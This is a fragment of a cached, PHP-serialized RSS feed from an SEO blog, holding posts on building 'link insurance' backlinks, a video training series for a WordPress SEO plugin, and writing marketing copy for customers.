border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/SbAgitQy41g\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; alt=\&quot;\&quot;/&gt;\&quot;;}s:11:\&quot;description\&quot;;s:444:\&quot;I Just wanted to share a quick SEO strategy for balancing link weight. Have you ever used a tiered link strategy? Although there may be other names for it, personally, I call this link insurance (insurance in the sense that just in case you need it). Since the value of links is all based on &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/link-building/managing-link-weight-and-building-link-insurance/\&quot; class=\&quot;read-more-excerpt\&quot;&gt;Read More&lt;/a&gt;\&quot;;s:3:\&quot;wfw\&quot;;a:1:{s:10:\&quot;commentrss\&quot;;s:107:\&quot;http://www.seodesignsolutions.com/blog/link-building/managing-link-weight-and-building-link-insurance/feed/\&quot;;}s:5:\&quot;slash\&quot;;a:1:{s:8:\&quot;comments\&quot;;s:2:\&quot;30\&quot;;}s:10:\&quot;feedburner\&quot;;a:1:{s:8:\&quot;origlink\&quot;;s:102:\&quot;http://www.seodesignsolutions.com/blog/link-building/managing-link-weight-and-building-link-insurance/\&quot;;}s:7:\&quot;summary\&quot;;s:444:\&quot;I Just wanted to share a quick SEO strategy for balancing link weight. Have you ever used a tiered link strategy? Although there may be other names for it, personally, I call this link insurance (insurance in the sense that just in case you need it). Since the value of links is all based on &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/link-building/managing-link-weight-and-building-link-insurance/\&quot; class=\&quot;read-more-excerpt\&quot;&gt;Read More&lt;/a&gt;\&quot;;s:12:\&quot;atom_content\&quot;;s:5536:\&quot;&lt;p&gt;I Just wanted to share a quick &lt;a href=\&quot;http://www.seodesignsolutions.com\&quot;&gt;SEO&lt;/a&gt; strategy for &lt;strong&gt;balancing link weight&lt;/strong&gt;. Have you ever used a tiered link strategy? Although there may be other names for it, personally, I call this &lt;strong&gt;link insurance&lt;/strong&gt; (insurance in the sense that just in case you need it).&lt;br /&gt;\n&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/link-building/managing-link-weight-and-building-link-insurance/\&quot;&gt;&lt;img class=\&quot;aligncenter wp-image-9603 size-full\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2008/05/link-weight-link-insurance.jpg\&quot; alt=\&quot;link-weight-link-insurance\&quot; width=\&quot;400\&quot; height=\&quot;346\&quot; srcset=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2008/05/link-weight-link-insurance.jpg 400w, http://www.seodesignsolutions.com/blog/wp-content/uploads/2008/05/link-weight-link-insurance-300x260.jpg 300w\&quot; sizes=\&quot;(max-width: 400px) 100vw, 400px\&quot; /&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;Since the value of links is all based on the collective support they rally. The stronger the backlink the more value it can pass to your site as far as aiding your pages in maintaining or increasing positioning.&lt;span id=\&quot;more-204\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;If you have ever tagged a site using social bookmarking, then you have scratched the surface. For example social bookmarking utilizes the premise of &lt;strong&gt;link insurance&lt;/strong&gt;. Not only is it great to seal the deal with spiders (by getting their attention), but with enough inbound links strategically augmenting a page, it can provide long-term value for the &lt;strong&gt;link-freshness factor&lt;/strong&gt; which can keep your internal pages buoyant and moving up in the search engine rankings.&lt;/p&gt;\n&lt;p&gt;A stable authority site (built over time with a tremendous amount of link weight) has less chance of losing favor with search engine algorithms. However, what about other transient links, that drop off, get buried over time or the site architecture from the site offering the link is so taxed that by the time the pages are spidered &lt;strong&gt;they are tapped out&lt;/strong&gt; as far as their real value is concerned? What is a viable solution to revive potential rankings?&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;The Solution: Building links to your links as insurance&lt;/strong&gt;&lt;/p&gt;\n&lt;p&gt;I am not suggesting to abuse this tactic, what I am insinuating is, maintaining a stable influx of link juice into a site benefits all of the pages in that site (as long as you distribute the inbound links in moderation). The premise here is, &lt;a href=\&quot;http://seodesignsolutions.com/blog/link-building/balancing-link-diversity-link-velocity-and-link-volume/\&quot;&gt;balancing&lt;/a&gt; the ratios of content development to inbound links (and their various anchor and modifiers) along with systemic deep linking is the cornerstone of relevance of &lt;a href=\&quot;http://seodesignsolutions.com/blog/seo-basics/seo-basics-using-allinanchor-allintitle-allintext/\&quot;&gt;SEO basics&lt;/a&gt; in action.&lt;/p&gt;\n&lt;p&gt;Links also can have more internal value from a page that was recently promoted in the Google algorithm. For example, if a page went from a page rank of zero to a PR2 or PR3 page in one update, if it gets indexed regularly and is succinctly tied to the sites main navigation, then you have an authority link right under your nose you can use to augment your main keywords as you wish.&lt;/p&gt;\n&lt;p&gt;You can always review such content an amend it for a common goal. Ten links from &lt;a href=\&quot;http://seodesignsolutions.com/blog/link-building/using-deep-links-to-summon-search-engine-spiders/\&quot;&gt;strong internal pages&lt;/a&gt; to a sub folder or page buried deep in the site can change the landscape of a page or sites SEO value. Combining this with the fact that you can point new links from those pages at older links (to keep them fresh) or use them to kick off new content with a splash, the possibilities for recycling your sites internal link dynamo is promising.&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;One Example of the Equation:&lt;/strong&gt;&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;1)&lt;/strong&gt; Find a slouching ranking and determine a keyword you want to invigorate&lt;br /&gt;\n&lt;strong&gt;2)&lt;/strong&gt; use a site:yourdomainname.com keyword (command) to find the most relevant page in your site&lt;br /&gt;\n&lt;strong&gt;3)&lt;/strong&gt; Build a new page using the &lt;strong&gt;main keyword in the title and text&lt;/strong&gt;&lt;br /&gt;\n&lt;strong&gt;4)&lt;/strong&gt; Link to the new page from the old page (with page rank) using the (keyword) as the anchor text / link text&lt;br /&gt;\n &lt;strong&gt;5)&lt;/strong&gt; publish your content&lt;br /&gt;\n&lt;strong&gt;6)&lt;/strong&gt; build links back to the old page (using social bookmarking or other ethical link building methods) to flow link weight back to your site and your new page.&lt;/p&gt;\n&lt;p&gt;When the page gets crawled, it already has the ranking factors intact, relevance and an endorsement from your own internal links. This is a great strategy for a maiden voyage for a new page, although this is a rudimentary version of the tactic, you can see the value in building links to your links.&lt;/p&gt;\n&lt;p&gt;Every three months, you could essentially go back through your analytics, look at the most searched keywords, perform an audit and ensure that your older links are getting enough nurturing as a result of fresh links. The stronger they are the stronger your site is.&lt;/p&gt;\n&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=SbAgitQy41g:ytdtE7dvXFE:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/SbAgitQy41g\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; alt=\&quot;\&quot;/&gt;\&quot;;}i:7;a:11:{s:5:\&quot;title\&quot;;s:65:\&quot;Your Website Needs Internal Links… Here’s How to Automate It!\&quot;;s:4:\&quot;link\&quot;;s:77:\&quot;http://feeds.seodesignsolutions.com/~r/SeoDesignSolutionsBlog/~3/LfAszNY6W9E/\&quot;;s:8:\&quot;category\&quot;;s:13:\&quot;WordPress SEO\&quot;;s:2:\&quot;dc\&quot;;a:1:{s:7:\&quot;creator\&quot;;s:13:\&quot;Jeffrey_Smith\&quot;;}s:7:\&quot;pubdate\&quot;;s:29:\&quot;Thu, 13 Aug 2015 07:32:30 PDT\&quot;;s:4:\&quot;guid\&quot;;s:46:\&quot;http://www.seodesignsolutions.com/blog/?p=9565\&quot;;s:7:\&quot;content\&quot;;a:1:{s:7:\&quot;encoded\&quot;;s:3193:\&quot;&lt;div class=\&quot;hero_block row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-center\&quot;&gt;&lt;iframe style=\&quot;height: 378px;\&quot; src=\&quot;//fast.wistia.net/embed/iframe/ohcncbte4x?videoFoam=true\&quot; allowtransparency=\&quot;true\&quot; frameborder=\&quot;0\&quot; scrolling=\&quot;no\&quot; class=\&quot;wistia_embed\&quot; name=\&quot;wistia_embed\&quot; allowfullscreen=\&quot;\&quot; mozallowfullscreen=\&quot;\&quot; webkitallowfullscreen=\&quot;\&quot; oallowfullscreen=\&quot;\&quot; msallowfullscreen=\&quot;\&quot; width=\&quot;780\&quot; height=\&quot;376\&quot;&gt;&lt;/iframe&gt;&lt;script src=\&quot;//fast.wistia.net/assets/external/E-v1.js\&quot;&gt;&lt;/script&gt;&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-center\&quot; style=\&quot;margin-top:0;margin-bottom:0;\&quot;&gt;&lt;a target=\&quot;_blank\&quot; href=\&quot;https://seodesignframework.leadpages.co/leadbox/140f2faf3f72a2%3A12d9628a0b46dc/5712601648463872/\&quot;&gt;&lt;img src=\&quot;https://lh3.googleusercontent.com/Y6docUak9NStgqgsc_2rDYRGMDTptUvMuJQkJ4q5PjEZrph49fgpg58ab75DTgrtBvY_WmikaTdIimQw3wiJHA=s0\&quot;/&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;&lt;script data-leadbox=\&quot;140f2faf3f72a2:12d9628a0b46dc\&quot; data-url=\&quot;https://seodesignframework.leadpages.co/leadbox/140f2faf3f72a2%3A12d9628a0b46dc/5712601648463872/\&quot; data-config=\&quot;%7B%7D\&quot; type=\&quot;text/javascript\&quot; src=\&quot;https://seodesignframework.leadpages.co/leadbox-886.js\&quot;&gt;&lt;/script&gt;&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row last_row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-left\&quot; style=\&quot;margin-top:5px;\&quot;&gt;\n&lt;p&gt;I know it&amp;#8217;s been quiet on our blog, but, just to let you know&amp;#8230;.we&amp;#8217;ve been busy creating our new &lt;strong&gt;[10 Video] Advanced &lt;a href=\&quot;http://www.seodesignsolutions.com\&quot;&gt;SEO&lt;/a&gt; Training Series for SEO Ultimate&lt;/strong&gt; and &lt;a href=\&quot;https://www.seoultimateplus.com/\&quot; data-mce-href=\&quot;https://www.seoultimateplus.com/\&quot;&gt;SEO Ultimate+&lt;/a&gt; so that people can really see the power of this amazing All-in-One solution for WordPress.&lt;/p&gt;\n&lt;p&gt;I&amp;#8217;ve added a teaser video above where I show you how to use the Deeplink Juggernaut&amp;#8217;s &lt;strong&gt;Instant Post Propulsion&lt;/strong&gt; technique to create auto-links for specific keywords (as well as dampen the volume of linking with the content link settings option).&lt;/p&gt;\n&lt;p&gt;To get access to the entire 10 video series, just use the big blue button above to opt in. In the series we cover everything from:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;How to mass edit titles and meta tags.&lt;/li&gt;\n&lt;li&gt;Indexation and crawl prioritization tips to prevent penalties.&lt;/li&gt;\n&lt;li&gt;An introduction to structured markup.&lt;/li&gt;\n&lt;li&gt;A walk-through of the new OpenGraph+ and Rich Snippets Creator modules&amp;#8230;&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;and much much more. But, you have to get access to the series first (which you can do using the &lt;strong&gt;Get More Training Like This&lt;/strong&gt; button above).&lt;/p&gt;\n&lt;p&gt;All the best,&lt;/p&gt;\n&lt;p&gt;Jeffrey&lt;/p&gt;\n&lt;p&gt;&amp;nbsp;&lt;/p&gt;\n&lt;p&gt;&amp;nbsp;&lt;/p&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=LfAszNY6W9E:K62Ns01kLv4:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/LfAszNY6W9E\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; alt=\&quot;\&quot;/&gt;\&quot;;}s:11:\&quot;description\&quot;;s:486:\&quot;I know it&amp;#8217;s been quiet on our blog, but, just to let you know&amp;#8230;.we&amp;#8217;ve been busy creating our new [10 Video] Advanced SEO Training Series for SEO Ultimate and SEO Ultimate+ so that people can really see the power of this amazing All-in-One solution for WordPress. I&amp;#8217;ve added a teaser video above where I show &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/wordpress-seo/the-seo-ultimate-advanced-seo-video-training-series/\&quot; class=\&quot;read-more-excerpt\&quot;&gt;Read More&lt;/a&gt;\&quot;;s:10:\&quot;feedburner\&quot;;a:1:{s:8:\&quot;origlink\&quot;;s:105:\&quot;http://www.seodesignsolutions.com/blog/wordpress-seo/the-seo-ultimate-advanced-seo-video-training-series/\&quot;;}s:7:\&quot;summary\&quot;;s:486:\&quot;I know it&amp;#8217;s been quiet on our blog, but, just to let you know&amp;#8230;.we&amp;#8217;ve been busy creating our new [10 Video] Advanced SEO Training Series for SEO Ultimate and SEO Ultimate+ so that people can really see the power of this amazing All-in-One solution for WordPress. I&amp;#8217;ve added a teaser video above where I show &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/wordpress-seo/the-seo-ultimate-advanced-seo-video-training-series/\&quot; class=\&quot;read-more-excerpt\&quot;&gt;Read More&lt;/a&gt;\&quot;;s:12:\&quot;atom_content\&quot;;s:3193:\&quot;&lt;div class=\&quot;hero_block row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-center\&quot;&gt;&lt;iframe style=\&quot;height: 378px;\&quot; src=\&quot;//fast.wistia.net/embed/iframe/ohcncbte4x?videoFoam=true\&quot; allowtransparency=\&quot;true\&quot; frameborder=\&quot;0\&quot; scrolling=\&quot;no\&quot; class=\&quot;wistia_embed\&quot; name=\&quot;wistia_embed\&quot; allowfullscreen=\&quot;\&quot; mozallowfullscreen=\&quot;\&quot; webkitallowfullscreen=\&quot;\&quot; oallowfullscreen=\&quot;\&quot; msallowfullscreen=\&quot;\&quot; width=\&quot;780\&quot; height=\&quot;376\&quot;&gt;&lt;/iframe&gt;&lt;script src=\&quot;//fast.wistia.net/assets/external/E-v1.js\&quot;&gt;&lt;/script&gt;&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-center\&quot; style=\&quot;margin-top:0;margin-bottom:0;\&quot;&gt;&lt;a target=\&quot;_blank\&quot; href=\&quot;https://seodesignframework.leadpages.co/leadbox/140f2faf3f72a2%3A12d9628a0b46dc/5712601648463872/\&quot;&gt;&lt;img src=\&quot;https://lh3.googleusercontent.com/Y6docUak9NStgqgsc_2rDYRGMDTptUvMuJQkJ4q5PjEZrph49fgpg58ab75DTgrtBvY_WmikaTdIimQw3wiJHA=s0\&quot;/&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;&lt;script data-leadbox=\&quot;140f2faf3f72a2:12d9628a0b46dc\&quot; data-url=\&quot;https://seodesignframework.leadpages.co/leadbox/140f2faf3f72a2%3A12d9628a0b46dc/5712601648463872/\&quot; data-config=\&quot;%7B%7D\&quot; type=\&quot;text/javascript\&quot; src=\&quot;https://seodesignframework.leadpages.co/leadbox-886.js\&quot;&gt;&lt;/script&gt;&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row last_row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-left\&quot; style=\&quot;margin-top:5px;\&quot;&gt;\n&lt;p&gt;I know it&amp;#8217;s been quiet on our blog, but, just to let you know&amp;#8230;.we&amp;#8217;ve been busy creating our new &lt;strong&gt;[10 Video] Advanced &lt;a href=\&quot;http://www.seodesignsolutions.com\&quot;&gt;SEO&lt;/a&gt; Training Series for SEO Ultimate&lt;/strong&gt; and &lt;a href=\&quot;https://www.seoultimateplus.com/\&quot; data-mce-href=\&quot;https://www.seoultimateplus.com/\&quot;&gt;SEO Ultimate+&lt;/a&gt; so that people can really see the power of this amazing All-in-One solution for WordPress.&lt;/p&gt;\n&lt;p&gt;I&amp;#8217;ve added a teaser video above where I show you how to use the Deeplink Juggernaut&amp;#8217;s &lt;strong&gt;Instant Post Propulsion&lt;/strong&gt; technique to create auto-links for specific keywords (as well as dampen the volume of linking with the content link settings option).&lt;/p&gt;\n&lt;p&gt;To get access to the entire 10 video series, just use the big blue button above to opt in. In the series we cover everything from:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;How to mass edit titles and meta tags.&lt;/li&gt;\n&lt;li&gt;Indexation and crawl prioritization tips to prevent penalties.&lt;/li&gt;\n&lt;li&gt;An introduction to structured markup.&lt;/li&gt;\n&lt;li&gt;A walk-through of the new OpenGraph+ and Rich Snippets Creator modules&amp;#8230;&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;and much much more. But, you have to get access to the series first (which you can do using the &lt;strong&gt;Get More Training Like This&lt;/strong&gt; button above).&lt;/p&gt;\n&lt;p&gt;All the best,&lt;/p&gt;\n&lt;p&gt;Jeffrey&lt;/p&gt;\n&lt;p&gt;&amp;nbsp;&lt;/p&gt;\n&lt;p&gt;&amp;nbsp;&lt;/p&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=LfAszNY6W9E:K62Ns01kLv4:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/LfAszNY6W9E\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; alt=\&quot;\&quot;/&gt;\&quot;;}i:8;a:11:{s:5:\&quot;title\&quot;;s:49:\&quot;Why Good Enough Just Isn’t Good Enough Anymore!\&quot;;s:4:\&quot;link\&quot;;s:77:\&quot;http://feeds.seodesignsolutions.com/~r/SeoDesignSolutionsBlog/~3/h51XQfdCDXU/\&quot;;s:8:\&quot;category\&quot;;s:8:\&quot;Articles\&quot;;s:2:\&quot;dc\&quot;;a:1:{s:7:\&quot;creator\&quot;;s:13:\&quot;Jeffrey_Smith\&quot;;}s:7:\&quot;pubdate\&quot;;s:29:\&quot;Wed, 01 Jul 2015 09:36:17 PDT\&quot;;s:4:\&quot;guid\&quot;;s:46:\&quot;http://www.seodesignsolutions.com/blog/?p=9510\&quot;;s:7:\&quot;content\&quot;;a:1:{s:7:\&quot;encoded\&quot;;s:2891:\&quot;&lt;div class=\&quot;hero_block row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;figure class=\&quot;image-module\&quot;&gt;\n&lt;div&gt;&lt;img src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2015/07/hooking-consumers.jpg\&quot; class=\&quot;image-module img-responsive square img-center\&quot; data-no-retina title=\&quot;\&quot; alt=\&quot;Consumers Can See Through the Bait\&quot;&gt;&lt;/div&gt;\n&lt;/figure&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-center\&quot;&gt;\n&lt;p&gt;You Can&amp;#8217;t Be Serious?&lt;br data-mce-bogus=\&quot;1\&quot;/&gt;&lt;/p&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row last_row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-left\&quot;&gt;\n&lt;p&gt;Let&amp;#8217;s face it, times have changed and what worked yesterday has no guarantee of remaining relevant and working tomorrow.&lt;/p&gt;\n&lt;p&gt;What most of us often overlook is that as the web evolves so does our nervous system and how it maps the priorities of how we communicate. Essentially, we develop blinders to keep us sane from information overload.&lt;/p&gt;\n&lt;p&gt;Just like banner blindness is real, your ads, links, headlines, images and everything else &lt;em&gt;needs to be more human than ever&lt;/em&gt; and have a more &lt;strong&gt;down to earth appeal&lt;/strong&gt; vs. I&amp;#8217;m selling you something (as if you don&amp;#8217;t know it) if you ever want to see genuine conversions (which is why native advertising has displaced traditional ads).&lt;/p&gt;\n&lt;p&gt;Yesterday&amp;#8217;s marketing founded from the Madmen in the 60&amp;#8217;s in today&amp;#8217;s cinema plays like a bad dream we&amp;#8217;ve been stuck in and trying to wake up from. &lt;/p&gt;\n&lt;p&gt;The speaking at you vs. to speaking to you was blatantly overstated by them telling you what to do rather than listening and responding to your needs.&lt;/p&gt;\n&lt;p&gt;So&amp;#8230;making the shift from the old paradigm to the new paradigm of marketing is the basis of true engagement (&lt;em&gt;without offending your audiences intelligence)&lt;/em&gt; as well as one of the safest ways to promote your brand while preserving its integrity.&lt;/p&gt;\n&lt;p&gt;So, I challenge you to &lt;strong&gt;go back through your copy&lt;/strong&gt;, your website and your communications and see whether or not you were writing it for YOU or for your CUSTOMERS?&lt;/p&gt;\n&lt;p&gt;Just realize, it&amp;#8217;s not too late&amp;#8230; it&amp;#8217;s just time to dust off your keyboard and make some worthwhile edits to boost conversions.&lt;/p&gt;\n&lt;p&gt;The million dollar question is, are you writing what you THINK they want to hear, or communicating with clarity that they need to make an informed purchase?&lt;/p&gt;\n&lt;p&gt;Until the next time.&lt;/p&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=h51XQfdCDXU:sgo_RwnERfM:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/h51XQfdCDXU\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; alt=\&quot;\&quot;/&gt;\&quot;;}s:11:\&quot;description\&quot;;s:474:\&quot;You Can&amp;#8217;t Be Serious? Let&amp;#8217;s face it, times have changed and what worked yesterday has no guarantee of remaining relevant and working tomorrow. What most of us often overlook is that as the web evolves so does our nervous system and how it maps the priorities of how we communicate. Essentially, we develop blinders to &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/articles/why-good-enough-just-isnt-good-enough-anymore/\&quot; class=\&quot;read-more-excerpt\&quot;&gt;Read More&lt;/a&gt;\&quot;;s:10:\&quot;feedburner\&quot;;a:1:{s:8:\&quot;origlink\&quot;;s:94:\&quot;http://www.seodesignsolutions.com/blog/articles/why-good-enough-just-isnt-good-enough-anymore/\&quot;;}s:7:\&quot;summary\&quot;;s:474:\&quot;You Can&amp;#8217;t Be Serious? Let&amp;#8217;s face it, times have changed and what worked yesterday has no guarantee of remaining relevant and working tomorrow. What most of us often overlook is that as the web evolves so does our nervous system and how it maps the priorities of how we communicate. Essentially, we develop blinders to &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/articles/why-good-enough-just-isnt-good-enough-anymore/\&quot; class=\&quot;read-more-excerpt\&quot;&gt;Read More&lt;/a&gt;\&quot;;s:12:\&quot;atom_content\&quot;;s:2891:\&quot;&lt;div class=\&quot;hero_block row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;figure class=\&quot;image-module\&quot;&gt;\n&lt;div&gt;&lt;img src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2015/07/hooking-consumers.jpg\&quot; class=\&quot;image-module img-responsive square img-center\&quot; data-no-retina title=\&quot;\&quot; alt=\&quot;Consumers Can See Through the Bait\&quot;&gt;&lt;/div&gt;\n&lt;/figure&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-center\&quot;&gt;\n&lt;p&gt;You Can&amp;#8217;t Be Serious?&lt;br data-mce-bogus=\&quot;1\&quot;/&gt;&lt;/p&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row last_row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-left\&quot;&gt;\n&lt;p&gt;Let&amp;#8217;s face it, times have changed and what worked yesterday has no guarantee of remaining relevant and working tomorrow.&lt;/p&gt;\n&lt;p&gt;What most of us often overlook is that as the web evolves so does our nervous system and how it maps the priorities of how we communicate. Essentially, we develop blinders to keep us sane from information overload.&lt;/p&gt;\n&lt;p&gt;Just like banner blindness is real, your ads, links, headlines, images and everything else &lt;em&gt;needs to be more human than ever&lt;/em&gt; and have a more &lt;strong&gt;down to earth appeal&lt;/strong&gt; vs. I&amp;#8217;m selling you something (as if you don&amp;#8217;t know it) if you ever want to see genuine conversions (which is why native advertising has displaced traditional ads).&lt;/p&gt;\n&lt;p&gt;Yesterday&amp;#8217;s marketing founded from the Madmen in the 60&amp;#8217;s in today&amp;#8217;s cinema plays like a bad dream we&amp;#8217;ve been stuck in and trying to wake up from. &lt;/p&gt;\n&lt;p&gt;The speaking at you vs. to speaking to you was blatantly overstated by them telling you what to do rather than listening and responding to your needs.&lt;/p&gt;\n&lt;p&gt;So&amp;#8230;making the shift from the old paradigm to the new paradigm of marketing is the basis of true engagement (&lt;em&gt;without offending your audiences intelligence)&lt;/em&gt; as well as one of the safest ways to promote your brand while preserving its integrity.&lt;/p&gt;\n&lt;p&gt;So, I challenge you to &lt;strong&gt;go back through your copy&lt;/strong&gt;, your website and your communications and see whether or not you were writing it for YOU or for your CUSTOMERS?&lt;/p&gt;\n&lt;p&gt;Just realize, it&amp;#8217;s not too late&amp;#8230; it&amp;#8217;s just time to dust off your keyboard and make some worthwhile edits to boost conversions.&lt;/p&gt;\n&lt;p&gt;The million dollar question is, are you writing what you THINK they want to hear, or communicating with clarity that they need to make an informed purchase?&lt;/p&gt;\n&lt;p&gt;Until the next time.&lt;/p&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=h51XQfdCDXU:sgo_RwnERfM:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/h51XQfdCDXU\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; alt=\&quot;\&quot;/&gt;\&quot;;}i:9;a:13:{s:5:\&quot;title\&quot;;s:58:\&quot;SEO Ultimate Launches Premium Version Called SEO Ultimate+\&quot;;s:4:\&quot;link\&quot;;s:77:\&quot;http://feeds.seodesignsolutions.com/~r/SeoDesignSolutionsBlog/~3/CLbuMSbKLvM/\&quot;;s:8:\&quot;category\&quot;;s:120:\&quot;WordPress SEOSEOSEO UltimateSEO Ultimate Goes PremiumSEO Ultimate WordPress Plugin UpdatedWordPressWordPress SEO 